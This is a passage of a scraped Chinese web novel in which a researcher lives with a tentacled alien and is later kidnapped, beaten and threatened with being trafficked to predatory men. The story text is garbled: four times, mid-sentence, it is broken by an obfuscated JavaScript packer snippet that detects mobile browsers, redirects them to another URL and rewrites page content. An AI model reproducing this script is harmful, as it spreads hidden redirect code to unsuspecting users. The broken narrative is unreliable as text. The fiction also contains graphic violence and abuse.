看了一眼旁边的窗户,透明玻璃里的倒影,是一张写着些许茫然的脸。 陆禾回到了自己的座位上。 自己在笑什么? 笑容一般是放松和开心状态下的产物,何况刚刚那个学妹把陆禾的笑容形容成了“热恋期”的笑。 虽然陆禾觉得她的形容有失偏颇。 但这个问题确实让他产生了一定的思考。 陆禾出神地思考着,一直在光脑上乱点,等他回过神,已经点开了上次在那个论坛里看到的,那个姐姐分享“判断你在对方心中分量”的经验贴。 论坛有私信功能,陆禾犹豫一阵,还是向她打了个招呼。 [你好,最近我可能遇到了一些情感上的问题,请问我可以向你请教一下吗] 他本来不抱希望,毕竟双方是陌生人,甚至连网友都算不上,对方没有必要在一个不认识的人身上花时间。 但不成想对方回复的非常快。 [你好呀,有什么事情吗?] 陆禾的手指在键盘上敲了一阵,敲完又把内容删除,但删完忍不住轻轻啧了一声,又重新把问题打了上去。 他也不知道自己纠结了多久,久到真的把内容发出去后,都以为对方不会回复了。 [我看看] [所以你为了测试一下自己在对方心中的分量,打算先答应对方一件事,然后再故意放鸽子,看看对方在不在意吗?] 陆禾听完觉得有些奇怪。 但这的确是他打算做的事。 [是的] 对面安静了一会。 [思路没问题,但是放鸽子不行] [换个别的方法吧,放鸽子这种事情换什么人都会生气的。] [举个例子,我男朋友看到我和闺蜜挽手都会有些吃醋。但如果只是在酒吧钓着玩儿的弟弟,他是不会在乎这个的——这个才叫占有欲] 陆禾将她的话读了好几遍,还是有些不明白。 他一直觉得感情这种东西,不管是友情、爱情还是亲情都非常复杂。 但今日直面了,才知道复杂到了一个什么样的地步。 远不如他发一篇影响因子5%的期刊容易。 [我消化一下,很感谢你。] 陆禾礼貌回复。 不过对面的女生应该是刚好比较闲,又问了一句。 [你们现在是什么进度了?] [牵手?接吻?同居?] 陆禾眨了眨眼。 等下,他和“祂”好像不是那种关系,对面是不是误会了什么? 但当陆禾看着那行字想要解释一下。 同居…一开始就是。 牵手……好像也牵了。 接吻……陆禾虽然并不认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037763|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为触手的进食行为是接吻,但他的舌根到现在还有一种隐隐发麻的感觉。 想辩驳,但似乎又无从辩驳。 [不会都做过了吧?] 沉默。 [……我知道答案了,那我问你,你的目的是什么?] 陆禾不知道该怎么向对方解释他们之间的认知出现了错位,但关于自己的诉求,他还是很明确的。 [我希望他更重视我] 至少不会随便把他杀了。 对面沉默了很久,然后发来一句。 [我理解你亲爱的,每个人都会有这个时期] 陆禾:? 他没有意识到,现在的他在对面的眼里,就是一个不谙世事,遇上了一个只想要身不想要心,被吃干抹净还要妄想海王上岸的好骗的单纯小男生。 [不过我和我现任也是先do后i的,当时和他在一起完全是为了气我一个前任,但久而久之就处出真感情了,也不是没希望] [这样吧,给你一个建议:多做点纯爱的事情] 在小姐姐的专业辅导下,陆禾揣着半肚子的建议,还有半肚子是思考双方是不是从来没有在一个频道上过的疑惑,回到了宿舍。 推开门的那一刻,光脑上时不时冒出来的“陆禾”、“陆禾…在哪……”之类的像是灵异消息一般不断重复的话,终于消失了。 触手缠上腰,触碰到青紫色的痕迹,陆禾轻轻嘶了一声。 他看着触手的动作,突然觉得那个热心的小姐姐所说的,其实也没错。 她让自己多和“祂”做一些纯爱的事情,比如一起出门去打卡餐厅、去看看流星雨、去露营爬山、去旅游,或者最简单的:去电影院看一场有意思的电影。 感情这种东西,相处久了自然而然就会滋生,并且逐渐浓烈。 电影院估计不方便。 毕竟祂现在的形态,出门肯定会吓到人。 但是电影还是可以看的。 “一起看部电影吧。” 于是,他和祂说。 以触手展现出的智商,陆禾觉得祂看懂人类的影片并不是一件难事。 经过十五分钟的精心挑选。 陆禾抱着一肚子“为什么评论区都在发狗头”的疑惑,打开了一部被网友评价为“了解外星生物最佳选择的温馨之作”。 《异形》。 15. 第 15 章 客厅的灯关着,唯一的光源就是光脑屏幕上昏暗闪烁着的影片光线。 当抱脸虫扑向配角,将长长的管状生·殖·器通过喉管将异形胚胎注入胃里,陆禾下意识地抬手摸了摸自己的脖颈。 然后摸到了一手的湿滑黏液。 “……没事。”陆禾含糊地说了一句。 抬起头的一根触手又收了回去。 触手在陆禾的大腿上搭了一会儿,觉得不得劲。 但晃悠了一下,又没找到更好的姿·势。 屏幕上刚好放到三叶虫将另一个配角的手脚缠住,压制着挣扎不断的配角,把人往怀里拖的桥段。 陆禾:…… 他低头看了一眼刚刚伸长了卷住自己腿弯的触手。 “咳。”他觉得腰腹和腿上缠着的触手好像有点紧了。 左边那根触手嗖一声立了起来,从高处往下倾压,吸盘盯着陆禾,像是大大小小的眼睛。 “陆禾…”祂声音很慢,但字字都充斥耳膜,“你…什么事……” “没。” 陆禾在心里安慰自己:祂是祂,异形是异形。 “没什么事。” 他起身,将用力扒在自己身上的触手摘了下来。 “我去拿点喝的。”陆禾按住又要缠上来的腕足,定了定神,“你喝可乐吗,有糖的。” “…喝。” 触手缓缓收回去了。 陆禾绕过床到冰箱前,里面还有他前两天测试时剩下的几瓶饮料。 打开冰箱门,暖黄色的灯光亮起,稍稍驱散了一点惊悚片+实体外星生物缠着自己所带来的心中余悸。 陆禾拿了两瓶可乐,刚合上冰箱门,一回头就被圈住了脖子。 屏幕上的女主恰到好处地被异形突脸。 陆禾沉默地闭上眼。 他听见了自己疯狂加速的心跳。 “陆…禾?” “你。”陆禾哽了一下,忍不住道,“这样会吓到我的。” 触手一歪。 十分不解。 陆禾:……算了。 回到光脑前继续看电影,陆禾给祂开了一罐可乐倒在杯子里,自己用吸管喝另一瓶。 从抱脸虫的出现开始,剧情就变得紧张。 陆禾不知道祂究竟是也在怕还是什么,缠着自己的触手越来越紧。 刚开始的陆禾勉强还能忍受。 但当异形幼体从那被抱脸虫寄生了的配角肚子里破胸而出,血液几乎都要穿过镜头飞到陆禾面前,他确实是忍不住了。 ”换一部吧。”陆禾果断道。 触手倒是对此没什么意见。 陆禾松了一口气,开始找一些比较温馨合家欢的片子。 温馨之作……果然网络上没一个好人。 青春期的小孩,模仿和学习能力都是很厉害的。 他不敢想象要是把异形整个系列都看完了,“祂”究竟会从中学到什么东西。 找到一半,腰上被两根触手合抱着缠住。 陆禾想到刚刚配角被三叶虫缠着寄生致死的惨状,整个人的动作都有些僵硬。 一根腕足蹭了蹭陆禾的脸颊,这次声音几乎是在耳畔响起。 “陆…禾,不会……别…怕……” 陆禾一顿。 如果他没有判断错的话,刚刚那句话里的情绪,在人类的认知里应该叫做:安抚。 触手接二连三地往陆禾身上缠绕,动作仿佛带着浓浓的依赖和信任。 像极了趴在学妹怀里踩奶妈呜妈呜叫的小猫,或者趴在学弟怀里撒娇,眼睛黑亮亮的德牧。 陆禾就这么低着头,望着怀里的触手。 他想自己是不是应该做些什么,于是伸手,第一次大着胆子,轻轻地摸了摸触手连接的中间主体部分。 比腕足的触感更柔软一些。 触手挥舞着把陆禾缠紧,又去勾他的舌根。 室内混杂着光脑散热的嗡嗡声,触手咕啾咕啾的黏液,以及细不可查的轻微哼哼。 在各种有些缠绵的声音里。 祂看了一眼屏幕上还没来得及关的电影。 成长起来的异形将所有人都残忍地杀死了。 ……无趣。 收回视线,祂活动了一下吸盘,居高临下地看着自己怀里的“猎物”。 如果能看到目光和神色,那应该是带着一股欣赏的味道。 唔。 为什么要弄死陆禾呢? 比起之前对待其他人类的方式,祂更喜欢的是陆禾颤抖、流泪、窒息、甚至身体痉挛的样子。 每当那个时候,祂会从陆禾那里品尝到各种味道。 祂还不知轻重时把人弄伤,从眼泪和血液里尝到的是纯粹的绝望与不甘。 从刚运动回来的陆禾身上带着升高体温的汗液里,祂尝到的是害怕和试探。 而津液……祂暂时最喜欢的这项食物,里面的情绪要丰富很多。 第一次时的错愕无措,夹杂着一点对未知的害怕。 第二次时的紧张,但明显有了良好的适应。 以至于到现在……祂收紧了一点触手,陆禾白皙清秀的小脸涨出轻微的红晕,紧贴着吸盘的舌根顿时抬得更高,喉咙眼里的声音也愈发含混不清。 祂尝到了。 虽然隐藏得极深,但依旧被祂捕捉到,甚至陆禾自己都没有意识到的。 一丝很甜的……愉悦。 * 次日,陆禾在床上醒过来。 他扯了扯滑到肩头的衣领,发顶蓬松且乱糟糟的,吞咽了一下觉得嗓子干得疼,舌根也还有些麻。 陆禾起来喝水。 昨天晚上到最后,他已经脱力地倒进床里了,加上轻微的缺氧导致大脑迷糊,在一种奇怪,但不是痛苦的飘飘然的感觉里,陆禾睡了过去。 或者用昏过去更合适。 嗯…… 陆禾放下杯子。 某个网瘾少年不知道什么时候早醒了,正在桌前玩光脑。 陆禾看了一眼。 还是游乐园的视频。 陆禾看过去的时候,“祂”刚好也回了头。 陆禾现在的习惯已经熟稔到下意识地把手臂抬起一点,方便触手缠他的腰了。 “腕足是不是变粗了一点。”陆禾观察了一下,觉得自己的判断应该没错。 绕着他腰间的触手抬起一点晃了晃。 怪不得…… 陆禾摸了摸自己的喉结,吞咽了一下,总还是有些残留的异物感。 陆禾一边洗漱,一边思考。 [K-13星球生命体在青春期时更多是腕足直径的生长,而青春期前则是腕足数量增加,生长有着明显的方向性。] [同时对人类的理解和情绪感知也有明显的提升] 昨晚“祂”表达了自己不会和影片里的那些异形怪物做一样的事情,还安慰说别怕的时候,陆禾其实很震惊。 但震惊过后,陆禾意识到之前的问题,已经有了一个大致的答案。 没有人会安慰食物不要害怕。 他对“祂”来说,应该至少不是单纯的食物。 挺好。 这样他至少不是全无筹码。 陆禾决定到实验室后把这些记录下来。 出门前,光脑屏幕上的视频已经更换了。 但还是在看游乐场,刚刚看的是过山车,现在看的是大摆锤。 临出门前,陆禾想起来一件事。 昨天那个姐姐和他说,跟“祂”要多做一些纯爱的事,虽然陆禾还是没太理解什么叫纯爱。 但从现在的结果来说,收效似乎不错。 “放鸽子计划”暂且搁置,陆禾却也打算继续做一些验证。 科研人员不能仅凭借一次实验就得出确定的结论,尽量减少偶然性误差,也是十分必要的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044196|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆禾盯着光脑许久。 直到“祂”察觉到身后的人似乎呆了太久还没走,腕足顺势缠上来。 陆禾说:“找个时间我带你去游乐场玩一天吧。” 他看过游乐场的价格,比较亲民,他之前存的钱还剩点,能承受得起。 触手顿了顿,随即晃动得更快。 陆禾看了眼时间,匆匆出了门,没听见门板关上的那一瞬,一道从身后慢了半拍追上来的有些闷,但明显透着一股高兴的声音。 “陆…禾……陆禾……” “我的……” “喜…欢……” “都…是我的……” * “诶,陆学长你也准备去这个游乐场啊。” 陆禾转头,跟他说话的是姜荷。 “嗯?哦是,有考虑过。” 他在屏幕上切换了两个页面,“我去游乐场比较少,想看看攻略。” 姜荷道:“陆学长打算和谁去呀?” 陆禾一愣,道:“呃,一个……认识的。” “朋友吗?”姜荷眨眨眼。 陆禾“啊”了一声,“……嗯。” “噢!我刚好也准备和我男朋友一起。”姜荷说,“需要攻略吗,我把我男朋友做的攻略发你一份。” “哦!好啊,谢谢你。”陆禾道。 他实在不太会做这些,能有现成的当然更好。 从光脑上接收到姜荷转发的游乐场攻略,陆禾又道了谢。 [不客气,玩得开心哦!] 姜荷的闺蜜恰巧看到了两人的聊天。 “陆学长也去游乐场,自己一个人?” “没,有人一起的。” “谁啊,家人吗?” “唔,不知道。”姜荷说着,捂着嘴笑了笑。 她猜,应该是陆禾喜欢的男生吧。 刚刚她转发完攻略,临走前看了一眼正专心致志看内容的陆禾,后者的唇角是微微翘着的。 虽然只是不太明显的微笑。但以前的陆禾,是从不会笑的。 几天后。 宿舍里,深紫色的触手早早地钻进了沙发上放着的半透明背包之中。 两根腕足尖搭在包口的拉链上,包包的正面被摆放到正对着宿舍的大门的方向。 开门的第一眼,就能看到沙发上的祂。 祂要和陆禾一起去游乐场。 “高…兴……” 祂安静地等待着。 只是,今天夕阳落下的速度,似乎比往日里快了些。 直到月出东山,夜色已落,那扇紧闭着的冰冷木门,却依旧没有被那熟悉的清秀手掌推开。 屋内十分安静。 直至弥漫开一股死气。 墙上挂着的壁钟早已被摘了下来,腕足摇晃着钟体,内里的指针平缓而又正常地运行着。 钟没坏。 钟坏了,太阳也不会坏。 时间就是过了。 所以人呢? 祂的陆禾呢? 不是说好今晚早点回来,和祂一起去游乐场的吗? [陆禾…在哪……] 没有消息。 十分钟后,祂又发了一条。 [游乐场?] 依旧没有回音。 发出的消息越来越多,直到触手都挥舞得有些麻木了。 但对面依旧安静没有一条回复,仿佛人间蒸发了一样。 但人怎么会蒸发呢。 于是祂将这些天来的各种事情在脑海里过了一遍,排除了各种可能性。 终于得出了一个结论: 祂的猎物… “跑了啊……” “呵……” 搭在椅子靠背上的触手用力收紧,木质的靠背板直接被碾碎落了一地粉末。 屋内响起一声冷笑。 跑吧,跑快些。 别让祂抓到了…… 16. 第 16 章 杜景恒站在阳台抽烟,脚边是几支空了的酒瓶。 夜风吹在脸上,却不能让他清醒,反而今晚不知为何格外潮湿闷热的空气,让他更加觉得心口一阵火烧火燎。 他脑海里全是当初与陆禾接触的一幕又一幕。 脖颈上的红.痕;不知身份的访客;还有那访客充满暗示和挑衅的言语…… 杜景恒不是很能接受。 这明明是他的猎物,他盯了许久的猎物,怎么最嫩的那口肉,先被别人吃掉了? 他自认为自己对陆禾算是“用心”。 其他的人,不论是夜店还是酒吧,或者是软件上聊的,能上就上不能上就下一个,他解决需求时的方式一向很高效。 但陆禾是唯一一个,他不打算直接来的人。 所以他观察了陆禾很久,从闲聊开始。 一开始还挺好的,直到去年年底他搂着一个床伴回来,被陆禾看见。 从此以后杜景恒就不装了。 但着不代表他放弃了陆禾,更不代表他盯上的猎物,可以被其他的捕食者所染指。 杜景恒掐了烟。 摸了摸口袋里的小瓶和用具,他笑了一声。 考虑到陆禾是第一次,他都准备得这么齐全了,应该算用心了吧。 于是,他伸手一撑阳台边缘,翻身上去。 就像是无数次想象中那般顺利,他和陆禾的阳台仅仅差了不到半米,换个小孩子来都能一下跨过去。 踩在陆禾阳台的地面上时,杜景恒清楚地感觉到,自己胸膛里那颗被肉·欲麻痹了许久的心脏,再一次加速跳动起来,变得鲜活了。 自己真是很爱陆禾啊! 他感慨着,推开了阳台门。 将衬衫的扣子解开一颗,杜景恒撑了撑领口,表现出一副自认为最性·感的模样。 他伸手推开了阳台门。 杜景恒走进屋,桌面上的光脑还亮着,却没见到人。 而光脑前的沙发上,趴着一个像章鱼还是什么的东西。 他走过去,伸手戳了戳。 这是什么,玩偶吗? 触感怎么奇奇怪怪的,还有吸盘。 怎么这“章鱼”还在动,是活的吗?个头是不是大了点?陆禾有养异宠的癖好? 杜景恒酒精上头,连感知都慢了几拍,以至于他把手收回来时,看到一片森然的白骨,还在想:嗯? ……这是自己的手吗? 但这个问题他最终也没想明白。 因为这是他这辈子看到的最后一幕。 * 与此同时。 陆禾没想到电影里的情节有一天真的会发生在自己身上。 刚刚他从学校食堂出来,拐进一条没什么人的后巷里去丢垃圾。 然后面前突然一片黑暗,随着脑后的阵痛传来,陆禾便失去了意识。 他被套麻袋了。 陆禾心想。 后背贴着的水泥墙冰冷粗糙,呼吸之间能感受到飞扬的尘土,触碰在地面上的手指微微蜷起,指尖轻轻搓了一下,有沙。 大概率是什么废弃工厂或者烂尾楼之类的地方。 陆禾又侧耳细听了一下四周的声音。 他能感觉到有人的呼吸和动静,但是却没听见其他的例如车流喇叭或者其他更加嘈杂的声响。 看来,还是比较偏远的废弃工厂。 的确很电影。 但电影是演的。 他面对的危险却是真的。 陆禾被绑在身后的双手轻轻挣动了一下。 绳子很粗,绳结很紧。 他试着想从地上摸索些什么锐利的东西看看能不能把绳子割断,可才动了一下,肚子就被人踹了一脚。 “呜!”陆禾吃痛惨叫,嗓子里发出呜咽,他的后背不受控制地弓起,整个人痛得蜷缩在地上。 “老·二你干什么?”一个声音说。 另一个人粗声粗气地答:“这小子不老实。” 陆禾努力地想透过麻袋看看能不能看清什么,至少判断一下对方有多少人。 但只能看到一些光影,似乎来自于建筑体的外面。 光影很快就变暗。 陆禾意识到,有人蹲在了自己面前。 他闻到了一股黏腻潮湿的气味。 不像“祂”的那种,触手的黏液虽然冰冷又湿滑,但是气味是带着一点微甜的,陆禾曾经悄悄闻过,闻久了还会身体发热,头有点晕,像醉酒上头的那种感觉。 但面前这个人身上就是纯粹的男人的汗臭味。 陆禾恶心地皱了皱眉。 “喂,小子。” 说话的是那个踹了陆禾一脚的人,他一开口,隔着麻布袋也传来一股烟油的气味。 “知道为什么抓你来吗?”男人伸出指甲油黄的手,点了点陆禾的脑袋。 陆禾吞咽了一下,尝到了一股不知是齿尖流落还是腹内涌出来的腥甜。 他舔了舔发干的唇,“张朗不是我杀的……呜!” 粗砺的手掌抓着柔软的黑发,将人按在墙上。 “看来你知道我们找你是为什么啊?”男人抓着陆禾的脑袋往墙上撞了两下,“但怎么就不乖,不承认呢?” 另一只手掐上了陆禾的脖颈,手指如铁钳一般收紧。 陆禾直到今天才意识到,原来他还挺怕疼的。 腹部被踢了一脚的地方还在绞痛,后脑勺震得发疼,他甚至不知道有没有破皮流血。 他不是很敢想象自己满头鲜红的样子。 以至于被绑着的手都在抖。 但尽管如此,他仍旧咬着牙挤出一句分辨,“不是我杀的……” 男人一皱眉,抓着陆禾头发的手松开,对着那张被麻袋罩着的小脸高高抬起。 就在扬起的手掌即将落下,旁边一直没出声的私家侦探终于再度开口。 “老·二。” 动粗的男人动作一顿,回头不忿,“大哥!这小子不老实,要我说先卸了他两条胳膊,再揍一顿,吃点苦头,就什么都吐出来了。” “打死了就什么都吐不出来了。”私家侦探冷冷地说。 “也是。”老·二一挑眉,问道,“大哥,老板她什么时候来啊?” 私家侦探道:“快了。” 陆禾听着四周的交谈,判断应该只有两个人,一个是那个被称作老大的男人,而另一个是对他动手,明显暴躁很多的老·二,但不管哪一个,陆禾现在都是没法抗衡的。 但直到一阵车辆的轰鸣声由远及近,伴随着一阵带着浓烈香水味的脚步声靠近,陆禾头顶的麻袋被人粗鲁地扯了下来。 “老板,人给您带来了。”老·二将麻布袋丢到一旁,顺便踹了陆禾一脚,“这小子不老实,我刚替您教训了他一顿。” 虽然搓着手一副舔狗样,但他眼里的光不干净。 陆禾躺在地上适应了一下光线,抬起头时,看到了一双高跟鞋。 通过刚刚和那个老·二的对话,他猜测到了来人的身份。 “张太太。”陆禾道。 张太太一挑眉,“你认识我?” “不认识。”陆禾吐掉嘴里进的沙子,“但会找我麻烦的,我想不到别人。” “那你应该知道为什么。”张太太道。 陆禾表情平淡地垂着眼眸,“我说了,张朗不是我杀的。” 陆禾边说边看了一眼四周,的确像他判断的,除了张太太,在场只有一个灰色呢子大衣打扮得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056544|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私家侦探的男人,旁边这个像打手的老·二,此外…… 瞳孔一缩,陆禾看到人群后方的另一个身影。 但很快他的肩膀就松了下来,实话实说,他也不意外了。 “朱港明。”私家侦探往后看了一眼,“你说说。” 朱港明上前,他看了一眼陆禾,没什么表情。 “张太太,据我了解,张朗和陆禾一向不睦,张朗出事前那天,还和陆禾发生了口角。” 张太太看陆禾。 陆禾闭了闭眼,道:“你确定是口角,而不是张朗单方面语言霸凌我?” “而且,张朗的一篇论文还是我替他写的,他和导师并列一作,而我的名字在二作,这件事您知道吗?”陆禾继续给自己添加筹码,试图打造一个自己并不想和张朗起冲突的形象。 于是就听张太太说:“所以你才心生怨恨。” 陆禾嘴角抽了抽,“您看我的身量应该也知道,两个我都打不过一个您儿子。” “谁知道你用了什么方法?”张太太继续道。 陆禾算是明白了,张太太或许根本不在乎事情的真相。 她只是想找一个和自己儿子死亡最近的人泄愤而已。 “行了。”张太太也看出从陆禾这里问不出什么,她走到绑人这一步,本身也没想要问。 就像陆禾猜的,目的只是泄私愤而已。 张太太起身,临走前,给旁边使了个眼色。 “老板您放心。”老·二拾起墙边的铁棍抡了抡,笑出一口黄牙,“保证让这小子舒服。” “别打死了,别打脸。”张太太突然说了这么一句。 别说陆禾,连准备动手的老·二都愣住了。 但对方的下一句话,让陆禾的心沉落到了谷底。 “我记得李老板那边不是在找漂亮的小男生吗,这么清秀的脸蛋打坏可惜了。”张太太挽了一下臂弯上的围巾,“那些变态的老头最喜欢没法反抗的了,弄断手脚送过去,省得李老板他们费功夫亲自去折。” 老二嘿笑一声,“好嘞。” “张太太!”陆禾坐起身来,直勾勾地盯着那个离开的背影,“您不想知道张朗真正的死因吗!” 后者脚步一顿,随即猛地回过头。 “你说什么!” 陆禾目光笃定地开口:“张朗死前留了东西,就在我家里。” “只有我一个人能找得到。” 张太太站在原地,肉眼可见地挣扎了许久。 最后她对着旁边呆掉了的老·二丢下一句。 “把人带上,堵住他的嘴。” 陆禾被粗鲁地用破布塞住了嘴巴,唇角才愈合了一点点的撕裂又一次破了。 他沉默地被带到空无一人的废弃工厂楼下,老·二粗暴地把他丢上了汽车的后备箱。 车子很快发动,陆禾听着发动机的轰鸣,和轮胎碾压碎石发出的声响。 黑暗覆盖了一切,随着神经逐渐放松下来,陆禾的身体后知后觉地开始出现了剧烈的痉挛反应。 他在害怕。 怕的想吐。 面对死亡,陆禾自问做不到不怕。 但刚刚的情况,不允许他露怯,所以陆禾只能硬着头皮,假装出一副冷静的样子,否则不说被那私家侦探看穿,他自己恐怕都要先泄气了。 但在张太太回头的那一瞬间,陆禾清楚地知道:机会来了。 这是他唯一的,可以从死亡甚至比死亡更怕的地狱之中逃出生天的机会。 不过就这么把人带过去,会血流成河吗? 会血流成河的吧。 陆禾低着头。 连他自己都不知道,当这个念头冒出来时,黑暗里的自己,轻轻挑了挑嘴角。 17. 第 17 章 离首都大学比较近时,陆禾在一条昏暗的巷子里被拖了下来。 将他头顶的麻袋扯掉,老·二动作粗鲁地扯掉了绑住他手腕的麻绳。 陆禾活动了一下发疼的关节,借着巷口昏暗的灯光,他看到了手腕上一圈清晰的红.痕,八成是磨破皮了。 “别耍花招。”私家侦探在旁边警告了一句,“就算这次让你逃了,你还能逃一辈子吗?” 他早已调查过陆禾的各项背景,确认这人根本没有反抗的资本和能力,是那种哪怕失踪了被人报了案,也不会有多余的警力去专门跟进的“底层”。否则他也不会偏激到直接把人绑走打算动私刑来满足雇主泄愤的想法,完全不顾法律的管控。 见陆禾低着头不说话,旁边的老·二直接踹了一脚,“问你呢,哑巴了?信不信把你舌头割掉再卖去当鸭子!” 这一脚踢在陆禾的腿弯上,他小腿一软差点直接跪在地上。 在黑暗之中斜睨了一眼周围几人,陆禾闷闷地嗯了一声,“知道了。” 五人一起出了巷子,往首都大学走去。 朱港明和陆禾走在前面,前者还搭着陆禾的肩膀。 “如果去宿舍的路上碰到认识的同学,有人问起来就说是带家里人来学校看看。”他笑眯眯地看着前方,低声教导着陆禾该怎样回话,“听懂了吗?” 陆禾没出声。 朱港明看了一眼背后,那老·二立刻伸手掐着陆禾的脖子,但从旁边来看,就像是两个男生在打闹而已。 陆禾只能说他听懂了。 被放开时,白皙纤细的脖颈后被掐出来一个红手印。 陆禾看着朱港明,后者得意地笑了一下。 他最喜欢看到这样的陆禾,只有这样,他才觉得自己不是学校里最低等的那种人。 虽然他们都融不进有钱人的圈层。 但起码,他比陆禾还高上一些。 纤长的睫毛微微低垂,朱港明看了一眼陆禾,包括他在内的其他人,都以为陆禾是认了命,乖乖不再反抗。 但没有人知道的是,陆禾只是真正做了一个决定。 从小到大陆禾觉得自己都在被命运推着走,有的事情明知道痛苦,但他别无选择。 收养他的家庭境况不好,他作为没有血缘的养子,只能离开独自漂泊; 义诊的医生欺负他,打针故意不放轻力道,他为了治病,只能咬牙忍着眼泪; 孤儿救济协会的人故意让他反复跑十几次交材料,为了那几百块的低保,只能抱着比他胳膊还要长的文件袋,走得脚底全是血泡。 哪怕是上了大学。 保了研,读了博,导师叫他让一作,他也必须让。 命令他给其他同门写论文,他不得不写…… 而这一次……刚刚从老·二到朱港明,他们的暴行提醒了一路上到现在,其实都还在犹豫的陆禾: 死或是生不如死,这是他们给他的,几乎没有任何区别的选择。 但陆禾现在决定,他一个都不想选。 或者说,至少这一次,他终于有权不选了。 陆禾站在宿舍楼底下。 夜幕已至,命案过后这栋楼里越来越少人,一层大堂的声控灯灭着,内里黑漆漆只能看见楼梯阴影轮廓的大门,像一张等待着来客的巨口。 走上去吧,带着他们走上去。 心里的声音对自己说。 不过,走上去也许是生机。 但或许,是另一处深渊。 陆禾垂着眼,笑了一下。 但至少,这次是他自己选的了。 陆禾仰起脸时,落在脸侧的月光,将清秀的五官分割成了明显的光暗两面。 他挑起唇角的那一刻,眼瞳里映着路灯的冷光。 “走吧,我们上楼。”陆禾看向一旁虽然冷着表情,但明显有了急切之意的张太太,“东西,就在我的房间。” * 进了宿舍楼。 私家侦探走在人群的最后方,冷眼看着面前的一队人。 不知道为什么,他莫名觉得心里没底。 如果非要说的话,应该是一个私家侦探的直觉。 他脑海里一直回荡着陆禾刚刚对张太太说的一句话。 “两个我也打不过一个您儿子。” 话糙理不糙,至少从事实来说,让陆禾拿着根铁棍,可能真的都打不过赤手空拳的张朗。 私家侦探之前从未想过陆禾是真的杀人凶手,他不过是配合雇主泄愤。 但从现在陆禾表现出的种种,尤其是他刚刚真的承认了张朗的死和自己有关……那就不得不让人多想了。 别人可以不想,但至少作为一个私家侦探的他不行。 如果张朗的死真的由陆禾造成,那他究竟是怎么做到的? 暗害?工具?下毒? ……还是别的什么? 私家侦探的表情太过凝肃,连神经大条的老·二都发现了。 “大哥,你又在担心什么?” 私家侦探小声将自己的想法说了,走在前面的张太太回过头。 只一个对视,私家侦探便读懂了那个眼神,彻底沉默了。 他很清楚,人都已经到了这里,雇主是绝对不可能回头的。 “嗐,大哥你就是疑神疑鬼惯了。”老二也不压着嗓子,大咧咧地道,“那小子能翻出什么风浪,再说了,真有什么……嘿嘿,老板您放心,我肯定护您安全!” 望着那色眯眯的眼神,张太太皱了皱眉,斜了私家侦探一眼。 后者无奈,把诶诶叫的老·二推到队伍最后方,让他安静点别给自己添乱。 私家侦探看着队伍最前方,从刚刚上楼后便一语不发的陆禾。 希望真的是他多心了吧。 越往上走,天像是越暗。 明明该是秋高气爽的时节,但不知道为什么今晚的空气里带着一股黏腻感,湿润闷热。 “这灯怎么全坏了。”老·二嘴巴闲不住,絮絮叨叨的声音从队伍最后方传来。 众人这才发现,好像这一层楼走廊的灯全都是灭的。 短路了? 而就在这时,队伍正前方的陆禾停下脚步。 “到了。”他站在黑暗里,对众人说道,“就是这一层。” 私家侦探的心跳开始加速,不知道为什么,当陆禾说这话的时候,他内心突然变得有些慌。 其他几人不知是不是也有同样的直觉,又或是各自揣着心思。 直到陆禾把众人带到他宿舍门口,谁都没有说一句话。 “什么味儿啊?”老·二的声音又一次响起,打破了这阵诡异的平静。 面对着众人聚集过来的的眼神,他第一次磕巴道:“我,我就是闻着奇怪的味道了……不信你们自己闻闻!” 私家侦探下意识地吸了吸鼻子。 “血腥味。”他说着大步上前,伸手猛地一把抓住陆禾的领口,质问道,“怎么回事?” 出乎意料的,陆禾的脸上同样是茫然。 一旁的朱港明也被突然激动的私家侦探吓到了,半晌他才回过神。 “呃,可能是有人在宿舍做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068023|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭吧,买了生肉?” 老·二:“大哥……” 私家侦探缓缓回过神来,才意识到自己刚刚似乎是有些过分紧张了。 他懊恼地拍了拍额头。 自己怎么会这么失态? 或许是因为之前的事情?私家侦探扪心自问道。 